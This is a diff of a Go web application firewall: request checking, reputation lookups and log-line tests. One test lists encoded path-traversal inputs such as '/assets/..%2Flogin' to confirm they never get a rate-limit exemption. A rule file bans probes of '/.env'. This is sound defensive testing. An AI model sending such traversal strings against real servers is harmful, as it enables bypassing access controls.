+	s.request(client, "/assets/app.js", http.StatusForbidden, requestlog.ActionBanned)
+	s.request(denied, "/assets/app.js", http.StatusForbidden, requestlog.ActionDenied)
+	s.request(fromKP, "/assets/app.js",
+		http.StatusForbidden, requestlog.ActionCountryDenied)
+}
+
+func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
+	t.Parallel()
+
+	for _, sent := range []string{
+		// A prefix matches only at the start of the path.
+		"/static/assets/app.js",
+		// A prefix matches the path as sent: a router that matches the
+		// path as received does not take /%61ssets/x for a path under
+		// /assets/.
+		"/%61ssets/x",
+		// .. once percent-decoded: an app may act on these as /login, the
+		// last as a path under /sneak/app/ or as /assets/x.
+		"/assets/../login",
+		"/assets/%2e%2e/login",
+		"/assets/..%2Flogin",
+		"/assets/..;/login",
+		"/sneak/app/src/branch/main/..%2F..%2F..%2F..%2F..%2F..%2Fassets/x",
+		// Not under /assets/ as sent: Go's router takes /assets%2Fx for one
+		// path segment, not a path under /assets/.
+		"/assets%2Fx",
+		"/assets%2fx",
+		// Under /assets/ as sent, but holding an encoded slash, in either
+		// case, or a backslash: never exempt, whatever the prefix.
+		"/assets/x%2Fy",
+		"/assets/x%2fy",
+		`/assets/x\y`,
+		// The same with a character Go escapes, |, for which Go's
+		// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
+		"/assets/x%2Fy|z",
+	} {
+		t.Run(sent, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithClock(t, "", map[string]string{
+				rateLimitPerMinute:   "1",
+				rateLimitExemptPaths: "/assets/",
+			})
+
+			// Counted, the second request breaks the limit of one request
+			// a minute.
+			s.request(client, sent, http.StatusOK, requestlog.ActionForward)
+			s.request(client, sent, http.StatusForbidden, requestlog.ActionRateLimited)
+		})
+	}
+}

internal/proxy/reputation.go

@@ -0,0 +1,122 @@
+package proxy
+
+import (
+	"context"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// deny is the SWWAF_BLOCKLIST_ACTION and the SWWAF_REPUTATION_ACTION that
+// refuses the requests of a client a source lists.
+const deny = "deny"
+
+// blocklistDenied notes the blocklists that list the client, as
+// noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny,
+// refuses the request. Being limit, it lowers the client's limits instead
+// (see limitPercentages), and being log, it does nothing more.
+func (rq *request) blocklistDenied() bool {
+	listedBy := rq.h.lists.ListedBy(rq.client)
+	rq.blocklisted = len(listedBy) > 0
+	rq.noteListed(listedBy, "listed by a blocklist")
+
+	return rq.blocklisted && rq.h.config.BlocklistAction == deny
+}
+
+// crowdSecBanned reports whether a decision of the CrowdSec decision list
+// on the client is in force at now. If one is, it notes the list, as
+// noteHit does, and bans the client until that decision ends.
+func (rq *request) crowdSecBanned(now time.Time) bool {
+	decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
+	if !listed {
+		return false
+	}
+
+	rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
+		"listed by the CrowdSec decision list")
+	rq.banForCrowdSec(now, decision)
+
+	return true
+}
+
+// dnsblDenied notes the DNSBL zones whose verdict lists the client, as
+// noteListed does, and reports whether SWWAF_REPUTATION_ACTION, being
+// deny, refuses the request. Being limit, it lowers the client's limits
+// instead (see limitPercentages), and being log, it does nothing more. A
+// zone without a verdict on the client is asked about it in the
+// background, and the request does not wait for the answer. ctx is the
+// request's own context.
+func (rq *request) dnsblDenied(ctx context.Context) bool {
+	listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
+	rq.dnsblListed = len(listedBy) > 0
+	rq.noteListed(listedBy, "listed by a DNSBL zone")
+
+	return rq.dnsblListed && rq.h.config.ReputationAction == deny
+}
+
+// abuseIPDBDenied notes AbuseIPDB, as noteHit does, with the score, when
+// its score of the client is a hit, and reports whether
+// SWWAF_REPUTATION_ACTION, being deny, refuses the request, as dnsblDenied
+// does for a zone. While SWWAF_ABUSEIPDB_KEY is unset it does nothing. A
+// client without a score is checked in the background, by the request's
+// address, if its history counts an offence, and the request does not
+// wait for the answer. The score is then used for each address of the
+// client. ctx is the request's own context.
+func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
+	if rq.h.config.AbuseIPDBKey == "" {
+		return false
+	}
+
+	client := rq.h.clientGroup(rq.client)
+	held, _ := rq.h.limiter.Client(client)
+	offender := held.History.Offences != ratelimit.Offences{}
+
+	score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
+	if !hit {
+		return false
+	}
+
+	rq.abuseIPDBHit = true
+	rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
+		"scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE")
+
+	return rq.h.config.ReputationAction == deny
+}
+
+// noteListed notes each of sources, the URLs of the blocklists or the
+// DNSBL zones, their keys masked, that list the client, as noteHit does,
+// with reason.
+func (rq *request) noteListed(sources []string, reason string) {
+	for _, source := range sources {
+		rq.noteHit(bans.ReputationHit{Source: source}, reason)
+	}
+}
+
+// noteHit adds hit's source, which lists the client, to the log line's
+// reputation, and hit to the notes of a ban the request makes, counts the
+// source in the metrics, and raises a reputation_hit alert with reason,
+// whose detail gives hit's source and score.
+func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
+	detail := map[string]any{"source": hit.Source}
+	if hit.Score != nil {
+		detail["score"] = *hit.Score
+	}
+
+	rq.line.Reputation = append(rq.line.Reputation, hit.Source)
+	rq.reputation = append(rq.reputation, hit)
+	rq.h.metrics.ReputationHit(hit.Source)
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventReputationHit,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   reason,
+		Detail:   detail,
+	})
+}

internal/proxy/request.go

@@ -0,0 +1,462 @@
+package proxy
+
+import (
+	"context"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strings"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+)
+
+// refusal is servewaf refusing a request: the status the visitor is to get, 0
+// to close its connection without an answer, and the action the log line names.
+type refusal struct {
+	status int
+	action string
+}
+
+// decision is what the checks note of a request: its log line, and what
+// counting the request needs once it has ended. servewaf keeps a copy of it
+// until the request's report comes. It holds no credentials, since the log line
+// never does, and neither the request's objects nor their bodies.
+type decision struct {
+	line   requestlog.Line
+	client netip.Addr
+	// requestURI is the path with the query, as a ban's notes keep it.
+	requestURI string
+	// site is, for a question, the host the visitor asked for, which the
+	// alerts name, since one servewaf serves many sites.
+	site string
+	// allowed is true for a question answered with DispositionAllow.
+	allowed bool
+	// lookedUp is true once the client's AS number and country have been
+	// looked up, whether or not an answer was there, and lookupAnswer is
+	// what the lookup gave then, the zero Answer while GeoJS had given none.
+	lookedUp     bool
+	lookupAnswer lookup.Answer
+	// skippedLookupWait is true for a request that did not wait for GeoJS and
+	// found no answer kept. SWWAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
+	// so that not waiting never lowers its client's limits.
+	skippedLookupWait bool
+	// counted is true for a request the rate limits counted, whose bytes
+	// the byte limits count once it has ended. limitPercent and
+	// bytesPercent are then its client's limit percentages for the rate
+	// limits and for the byte limits.
+	counted                    bool
+	limitPercent, bytesPercent percentage
+	// attack is true for a request that matched a ban rule or asked for a
+	// trap path, ruleBlocked for one a block rule refused, and wafBlocked for
+	// one the Core Rule Set refused, each an offence its client's history
+	// counts.
+	attack, ruleBlocked, wafBlocked bool
+	// reputation is the reputation sources that list the client, for the
+	// notes of a ban the request makes.
+	reputation []bans.ReputationHit
+}
+
+// request is one request to servewaf, from the moment its headers have been
+// read to its log line.
+type request struct {
+	decision
+
+	h   *handler
+	in  *http.Request
+	out *responseWriter
+
+	// blocklisted is true once a blocklist is found to list the client,
+	// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
+	// AbuseIPDB's score of it is a hit.
+	blocklisted, dnsblListed, abuseIPDBHit bool
+	start                                  time.Time
+	// checked is when the checks were done.
+	checked time.Time
+	// refused is what the request was refused with, nil if it was not.
+	refused *refusal
+	// requestBytes is how many bytes of the request's body have been read.
+	requestBytes int64
+}
+
+// startRequest starts handling r from client, which came through peer: it
+// notes the time, counts the request as under way, and starts the log line
+// with what is known of the request. isQuestion says whether r is a question,
+// whose headers give the request's id and scheme.
+func (h *handler) startRequest(
+	w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
+) *request {
+	h.metrics.RequestStarted()
+
+	start := time.Now()
+	forwardedFor := r.Header.Values("X-Forwarded-For")
+
+	rq := &request{
+		decision: decision{
+			client:     client,
+			requestURI: r.URL.RequestURI(),
+			line: requestlog.Line{
+				Time:             requestlog.FormatTime(start),
+				Instance:         h.config.InstanceName,
+				ClientIP:         client.String(),
+				Method:           r.Method,
+				Scheme:           scheme(r, isQuestion),
+				Host:             r.Host,
+				Path:             rules.Path(r),
+				Query:            r.URL.RawQuery,
+				Protocol:         r.Proto,
+				Referer:          r.Referer(),
+				UserAgent:        r.UserAgent(),
+				RequestID:        requestID(r, isQuestion),
+				PeerIP:           peer.String(),
+				ForwardedFor:     strings.Join(forwardedFor, ", "),
+				ClientGroup:      h.clientGroup(client).String(),
+				ContentType:      r.Header.Get("Content-Type"),
+				RequestHeaders:   requestHeaders(r, h.config.LogRequestHeaders),
+				HasAuthorization: len(r.Header.Values("Authorization")) > 0,
+				HasCookie:        len(r.Header.Values("Cookie")) > 0,
+				Action:           requestlog.ActionForward,
+			},
+		},
+		h:     h,
+		in:    r,
+		out:   &responseWriter{ResponseWriter: w},
+		start: start,
+	}
+
+	// A length of -1 is a body whose length was not announced.
+	if r.ContentLength > 0 {
+		rq.line.ContentLength = r.ContentLength
+	}
+
+	return rq
+}
+
+// requestHeaders returns the headers of r that names lists, by name in
+// lower case, each with its values joined by ", ". Authorization, Cookie
+// and Set-Cookie are never among them, whatever names says.
+func requestHeaders(r *http.Request, names []string) map[string]string {
+	headers := map[string]string{}
+
+	for _, name := range names {
+		switch name {
+		case "authorization", "cookie", "set-cookie":
+			continue
+		}
+
+		values := r.Header.Values(name)
+		if len(values) > 0 {
+			headers[name] = strings.Join(values, ", ")
+		}
+	}
+
+	return headers
+}
+
+// check is the one place where a request can be refused. It returns nil to let
+// the request through. The checks of checkClient decide: a request they refuse
+// is answered with SWWAF_BAN_RESPONSE, 403 for a block rule or the Core Rule Set,
+// or 431 for the header limits. In observe mode nothing is refused, and the log
+// line names what enforce mode would have done. ctx is the request's own context.
+func (rq *request) check(ctx context.Context) *refusal {
+	action := rq.checkClient(ctx)
+
+	switch {
+	case action == "":
+		return nil
+	case rq.h.config.Observe:
+		rq.line.WouldAction = action
+
+		return nil
+	case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
+		return &refusal{status: http.StatusForbidden, action: action}
+	case action == requestlog.ActionTooLarge:
+		return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
+	default:
+		return rq.banResponse(action)
+	}
+}
+
+// checkClient runs the checks on the request's client, and returns the
+// action of the first that refuses the request, or "" when none does. A
+// client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any
+// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
+// so that a client either refuses is not looked up, then the lookup of
+// its AS number and country, then the country lists, then the blocklists,
+// then the CrowdSec decision list, which bans the client it lists, then
+// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
+// them refuses is not counted for the rate limits. Then come the
+// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
+// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
+// every other request is counted, each of them by the client's limit
+// percentages, then SWWAF_TRAP_PATHS, then the rule files, then the header
+// limits, and last the Core Rule Set. A request exempt from the rate limits
+// is exempt from the byte limits too. ctx is the request's own context.
+func (rq *request) checkClient(ctx context.Context) string {
+	cfg := rq.h.config
+	if isInside(rq.client, cfg.AllowNets) {
+		return ""
+	}
+
+	now := rq.h.now()
+
+	if isInside(rq.client, cfg.DenyNets) {
+		return requestlog.ActionDenied
+	}
+
+	if rq.banned(now) {
+		return requestlog.ActionBanned
+	}
+
+	rq.lookUp(ctx, now)
+
+	// The lookup can wait for GeoJS, so the checks after it read the time
+	// again: a request counted at the time it arrived could be counted
+	// after a later one of its client's, which the rate limits would take
+	// for the clock set back.
+	now = rq.h.now()
+
+	if rq.countryDenied() {
+		return requestlog.ActionCountryDenied
+	}
+
+	if rq.blocklistDenied() {
+		return requestlog.ActionDenied
+	}
+
+	if rq.crowdSecBanned(now) {
+		return requestlog.ActionBanned
+	}
+
+	if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
+		return requestlog.ActionDenied
+	}
+
+	rq.counted = rq.countedByRateLimits()
+	if rq.counted {
+		rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
+		rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
+		rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged()
+	}
+
+	if rq.counted && rq.limitBroken(now) {
+		return requestlog.ActionRateLimited
+	}
+
+	if rq.trapPath(now) {
+		return requestlog.ActionBanned
+	}
+
+	action := rq.checkRules(now)
+	if action != "" {
+		return action
+	}
+
+	if rq.overHeaderLimits() {
+		return requestlog.ActionTooLarge
+	}
+
+	return rq.checkCoreRuleSet()
+}
+
+// countedByRateLimits reports whether the rate limits count the request: its
+// client is not in SWWAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
+// under SWWAF_RATE_LIMIT_EXEMPT_PATHS.
+func (rq *request) countedByRateLimits() bool {
+	cfg := rq.h.config
+
+	return !isInside(rq.client, cfg.RateLimitExemptNets) &&
+		!pathExempt(rq.in, cfg.RateLimitExemptPaths)
+}
+
+// pathExempt reports whether r is exempt under prefixes,
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
+// path as sent, the path the app receives, not percent-decoded, starts
+// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
+// app whose router matches the path as received. A request whose decoded
+// path contains .. anywhere or a backslash, or whose path as sent holds an
+// encoded slash (%2F or %2f), never is, since an app may act on it as a
+// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
+// as one path segment, as Go's router does.
+func pathExempt(r *http.Request, prefixes []string) bool {
+	decoded := r.URL.Path
+	sent := rules.Path(r)
+
+	if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
+		strings.Contains(strings.ToLower(sent), "%2f") {
+		return false
+	}
+
+	return slices.ContainsFunc(prefixes, func(prefix string) bool {
+		return strings.HasPrefix(sent, prefix)
+	})
+}
+
+// finish counts the request in the metrics and writes its log line.
+func (rq *request) finish() {
+	line := &rq.line
+	line.Status = rq.out.status
+	line.ResponseBytes = rq.out.bytes
+	line.ResponseContentType = rq.out.Header().Get("Content-Type")
+	line.RequestBytes = rq.requestBytes
+
+	switch {
+	case rq.refused != nil:
+		line.Action = rq.refused.action
+	case rq.out.err != nil || rq.in.Context().Err() != nil:
+		line.Aborted = true
+	}
+
+	duration := time.Since(rq.start)
+	line.DurationTotal = requestlog.Milliseconds(duration)
+	line.DurationChecks = timing(rq.start, rq.checked)
+
+	// Counted before the log line is written, so that the metrics count
+	// every request whose line is out. An allowed request is the exception:
+	// its report gives the status, bytes and times the metrics count.
+	if rq.allowed {
+		rq.h.metrics.RequestAllowed()
+	} else {
+		rq.h.metrics.RequestEnded(line, duration)
+	}
+
+	rq.writeLine()
+}
+
+// writeLine writes the request's log line.
+func (rq *request) writeLine() {
+	err := requestlog.Write(rq.h.requestLog, &rq.line)
+	if err != nil {
+		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
+	}
+}
+
+// timing is the time from start to end in milliseconds, for one of the
+// log line's timings, or nil when end is zero: what it times never
+// happened.
+func timing(start, end time.Time) *float64 {
+	if end.IsZero() {
+		return nil
+	}
+
+	return new(requestlog.Milliseconds(end.Sub(start)))
+}
+
+// addToHistory adds the request, which has ended, to its client's
+// history, and counts its offences in the metrics, and then the lookup's
+// answer about the client, as answerAtTheEnd gives it, to that history and
+// to the notes of the bans on its netblock: an answer may have come
+// before either was there, and one from GeoJS that comes later is added
+// when it comes.
+func (rq *request) addToHistory() {
+	request := ratelimit.Request{
+		Forwarded:     rq.allowed,
+		Refused:       rq.refused != nil,
+		Status:        rq.out.status,
+		RequestBytes:  rq.requestBytes,
+		ResponseBytes: rq.out.bytes,
+		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
+		Attack:        rq.attack,
+		RuleBlocked:   rq.ruleBlocked,
+		WAFBlocked:    rq.wafBlocked,
+	}
+
+	rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
+	rq.h.metrics.Offences(request)
+
+	answer, found := rq.answerAtTheEnd()
+	if found {
+		rq.h.addLookup(answer)
+	}
+}
+
+// countAnomalies counts the request, which has ended, and its bytes, as
+// countedBytes gives them, for the anomaly thresholds, whatever was done
+// with it: a request refused, one from a client in SWWAF_ALLOW_NETS or
+// SWWAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
+// client's AS number when answerAtTheEnd gives one. With every anomaly
+// threshold off, the default, it does nothing.
+func (rq *request) countAnomalies() {
+	if !anomalyThresholdsSet(rq.h.config) {
+		return
+	}
+
+	answer, _ := rq.answerAtTheEnd()
+
+	rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
+		Host:        rq.site,
+		Client:      rq.client,
+		ClientGroup: rq.h.clientGroup(rq.client),
+		ASN:         answer.ASN,
+		ASName:      answer.ASName,
+		Country:     answer.Country,
+		Bytes:       rq.countedBytes(),
+	})
+}
+
+// anomalyThresholdsSet reports whether any anomaly threshold is set.
+func anomalyThresholdsSet(cfg *config.Config) bool {
+	off := anomaly.Thresholds{}
+
+	return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
+		cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
+}
+
+// answerAtTheEnd returns, for a client that was looked up, the lookup's
+// answer about it as the request ends, and whether there is one: the
+// lookup database's, which was there at once, or the one GeoJS has given
+// by then, which a request does not wait for unless a setting needs it.
+func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
+	if !rq.lookedUp {
+		return lookup.Answer{}, false
+	}
+
+	if rq.h.config.LookupSource == "file" {
+		return rq.lookupAnswer, true
+	}
+
+	return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
+}
+
+// responseWriter is servewaf's answer to a request. It notes the status and
+// size for the log line, and the first error writing the answer.
+type responseWriter struct {
+	http.ResponseWriter
+
+	// status is the status sent, or zero before one is.
+	status int
+	bytes  int64
+	err    error
+}
+
+// WriteHeader sends the status and headers.
+func (w *responseWriter) WriteHeader(status int) {
+	if w.status == 0 {
+		w.status = status
+	}
+
+	w.ResponseWriter.WriteHeader(status)
+}
+
+// Write sends part of the body.
+func (w *responseWriter) Write(p []byte) (int, error) {
+	if w.status == 0 {
+		w.status = http.StatusOK
+	}
+
+	n, err := w.ResponseWriter.Write(p)
+	w.bytes += int64(n)
+
+	if w.err == nil {
+		w.err = err
+	}
+
+	return n, err
+}

internal/proxy/requestlog_test.go

@@ -0,0 +1,278 @@
+package proxy_test
+
+import (
+	"io"
+	"math"
+	"net/http"
+	"reflect"
+	"slices"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+const (
+	// requestIDHeader carries the request's id.
+	requestIDHeader = "X-Request-ID"
+	// instance is the SWWAF_INSTANCE_NAME a test sets.
+	instance = "fsn1app1/gitea"
+	// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
+	// limits count it as.
+	ipv6Client = "2001:db8::7"
+	ipv6Group  = "2001:db8::/64"
+)
+
+func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
+	t.Parallel()
+
+	received := make(chan string, 2) // the request ids the app received
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		received <- r.Header.Get(requestIDHeader)
+
+		_, _ = io.Copy(io.Discard, r.Body)
+
+		if r.URL.Path != "/full" {
+			w.WriteHeader(http.StatusNoContent)
+
+			return
+		}
+
+		w.WriteHeader(http.StatusFound)
+		_, _ = io.WriteString(w, "moved")
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:      trustLocalhost,
+		rateLimitExemptNets: localhost,
+		instanceName:        instance,
+		logRequestHeaders:   "Accept,x-custom,Authorization,cookie,SET-COOKIE",
+	})
+
+	// This request comes from ipv6Client through a trusted proxy, with a
+	// body and each header the log line looks at, and is answered with a
+	// redirect.
+	conn := dial(t, addr)
+	send(t, conn, "POST /full HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		forwardedFor+": 198.51.100.7, "+ipv6Client+"\r\n"+
+		forwardedProto+": "+secure+"\r\n"+requestIDHeader+": from-traefik\r\n"+
+		"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 3\r\n"+
+		"Accept: text/html\r\nX-Custom: one\r\nX-Custom: two\r\n"+
+		"Authorization: Bearer secret-token\r\nCookie: session=secret-cookie\r\n"+
+		"Set-Cookie: secret-set-cookie\r\n\r\na=b")
+	wantStatus(t, readResponse(t, conn), http.StatusFound)
+
+	// A request's log line can come after its answer: each is waited for
+	// before the next request, so that the lines are in order.
+	full := out.endedLines(t, 1)[0]
+
+	// This one comes from 127.0.0.1, which the rate limits do not count,
+	// with a body of 4 bytes whose length it does not announce, so that its
+	// request_bytes is not its content_length, and no header the log line
+	// looks at, and is answered with 204 and no header.
+	conn = dial(t, addr)
+	send(t, conn, "POST /bare HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		"Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n")
+	wantStatus(t, readResponse(t, conn), http.StatusNoContent)
+
+	bare := out.endedLines(t, 2)[1]
+
+	wantFullLine(t, full)
+	wantBareLine(t, bare)
+
+	for _, line := range []logLine{full, bare} {
+		got := <-received
+		if got != line.RequestID {
+			t.Errorf("the app received request id %q, the log line has %q",
+				got, line.RequestID)
+		}
+	}
+
+	if strings.Contains(out.text(), "secret") {
+		t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
+			out.text())
+	}
+}
+
+// wantFullLine checks the log line of the request with every header the
+// line looks at. Its timings are checked by TestTimingsAreInOrder.
+func wantFullLine(t *testing.T, line logLine) {
+	t.Helper()
+
+	headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
+
+	want := withTimings(line, requestlog.Line{
+		Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport,
+		Time: line.Time, Instance: instance,
+		ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
+		Host: appHost, Path: "/full", Protocol: protocol,
+		Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5,
+		RequestID: line.RequestID, PeerIP: localhost,
+		ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group,
+		ContentType: "application/x-www-form-urlencoded", ContentLength: 3,
+		RequestHeaders: headers, HasAuthorization: true, HasCookie: true,
+		Action: requestlog.ActionForward,
+		// Its 3 bytes in and 5 out, each way counted by default.
+		Counts: ratelimit.Counts{
+			Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
+		},
+	})
+	if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
+		t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
+	}
+}
+
+// wantBareLine checks the log line of the request with none of them, and
+// that the fields that do not apply to it are left out.
+func wantBareLine(t *testing.T, line logLine) {
+	t.Helper()
+
+	want := withTimings(line, requestlog.Line{
+		Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport,
+		Time: line.Time, Instance: instance,
+		ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
+		Host: appHost, Path: "/bare", Protocol: protocol,
+		Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID,
+		PeerIP: localhost, ClientGroup: localhost + "/32",
+		Action: requestlog.ActionForward,
+	})
+	if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
+		t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
+	}
+
+	for _, name := range []string{
+		"forwarded_for", "content_type", "content_length", "request_headers",
+		"has_authorization", "has_cookie", "response_content_type", "counts",
+	} {
+		_, present := line.fields[name]
+		if present {
+			t.Errorf("log line has %s, which does not apply", name)
+		}
+	}
+}
+
+// withTimings returns want with the timings of line.
+func withTimings(line logLine, want requestlog.Line) requestlog.Line {
+	want.DurationTotal = line.DurationTotal
+	want.DurationChecks = line.DurationChecks
+	want.DurationUpstreamTotal = line.DurationUpstreamTotal
+
+	return want
+}
+
+func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
+	t.Parallel()
+
+	const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
+
+	for _, tc := range []struct{ header, field, other string }{
+		{"Authorization", hasAuthorization, hasCookie},
+		{"Cookie", hasCookie, hasAuthorization},
+	} {
+		t.Run("only "+tc.header, func(t *testing.T) {
+			t.Parallel()
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+			addr, out := startProxy(t, app.URL, nil)
+
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header.Set(tc.header, "secret")
+			wantStatus(t, do(t, req), http.StatusOK)
+
+			line := out.endedLine(t)
+
+			_, otherPresent := line.fields[tc.other]
+			if line.fields[tc.field] != true || otherPresent {
+				t.Errorf("log line has %s %v and %s %v, want true and none",
+					tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
+			}
+		})
+	}
+}
+
+func TestTimingsAreInOrder(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		// The pause sets the times apart; a hold-up of the test only lengthens
+		// it.
+		time.Sleep(time.Millisecond)
+
+		_, _ = io.WriteString(w, "done")
+	})
+
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
+		trustedProxies: trustLocalhost,
+		denyNets:       denied,
+	})
+
+	// Each log line is waited for before the next request, so that the
+	// lines are in order.
+	wantStatus(t, get(t, addr, "/"), http.StatusOK)
+	forwarded := out.endedLines(t, 1)[0]
+
+	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+	req.Header.Set(forwardedFor, denied)
+	wantStatus(t, do(t, req), http.StatusForbidden)
+	refused := out.endedLines(t, 2)[1]
+
+	wantStatus(t, get(t, server.Addr, proxy.HealthPath), http.StatusOK)
+	health := out.endedLines(t, 3)[2]
+
+	// A request passed to the app has every timing; one refused, none of
+	// the app's; the health check, which runs no check, only the total.
+	wantTimings(t, forwarded, "duration_total", "duration_checks",
+		"duration_upstream_total")
+	wantTimings(t, refused, "duration_total", "duration_checks")
+	wantTimings(t, health, "duration_total")
+
+	if t.Failed() {
+		return
+	}
+
+	// In whole microseconds, as they are logged, so that the sum below is
+	// exact.
+	total := microseconds(forwarded.DurationTotal)
+	checks := microseconds(*forwarded.DurationChecks)
+	upstream := microseconds(*forwarded.DurationUpstreamTotal)
+
+	// The checks end before the request is handed to the app.
+	if checks+upstream > total {
+		t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
+			total, checks, upstream)
+	}
+
+	if *refused.DurationChecks > refused.DurationTotal {
+		t.Errorf("refused request's checks took %v of %v milliseconds",
+			*refused.DurationChecks, refused.DurationTotal)
+	}
+}
+
+// wantTimings checks that the timings named are the only ones line has.
+func wantTimings(t *testing.T, line logLine, want ...string) {
+	t.Helper()
+
+	var got []string
+
+	for name := range line.fields {
+		if strings.HasPrefix(name, "duration_") {
+			got = append(got, name)
+		}
+	}
+
+	slices.Sort(got)
+	slices.Sort(want)
+
+	if !slices.Equal(got, want) {
+		t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
+	}
+}
+
+// microseconds is a timing in whole microseconds.
+func microseconds(milliseconds float64) int64 {
+	return int64(math.Round(milliseconds * 1000))
+}

internal/proxy/rulefiles_test.go

@@ -0,0 +1,235 @@
+package proxy_test
+
+import (
+	"net/http"
+	"net/netip"
+	"os"
+	"path/filepath"
+	"reflect"
+	"slices"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// testRules are the rules most tests here load: a block rule for
+// /blocked and a ban rule for /.env.
+const testRules = `
+blocked  path  block  ^/blocked$
+probe    path  ban    ^/\.env$
+`
+
+func TestEachRuleAction(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		rulesDir:    writeRules(t, "noted path log ^/\n"+testRules),
+		banResponse: "429",
+	})
